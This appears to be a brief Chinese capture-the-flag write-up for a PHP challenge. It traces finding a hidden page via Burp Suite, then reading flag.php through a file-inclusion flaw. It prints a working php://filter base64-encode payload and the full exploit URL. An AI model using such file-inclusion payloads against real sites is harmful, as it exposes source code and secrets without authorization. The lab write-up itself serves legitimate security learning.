1.题:
2.题样:
3.发现一个Archive room.php:
4.绝密档案:
点了select后什么都没有,估计藏起来了。
BP抓包,重新点select后发现一个php:
访问试试:
5.代码审计:
highlight_file函数
strstr
stristr
文件包含,php伪协议,base64解密:
http://fdd4d84b-eead-40b9-ade9-df8198622912.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=./flag.php
php://filter/read=convert.base64-encode/resource=./flag.php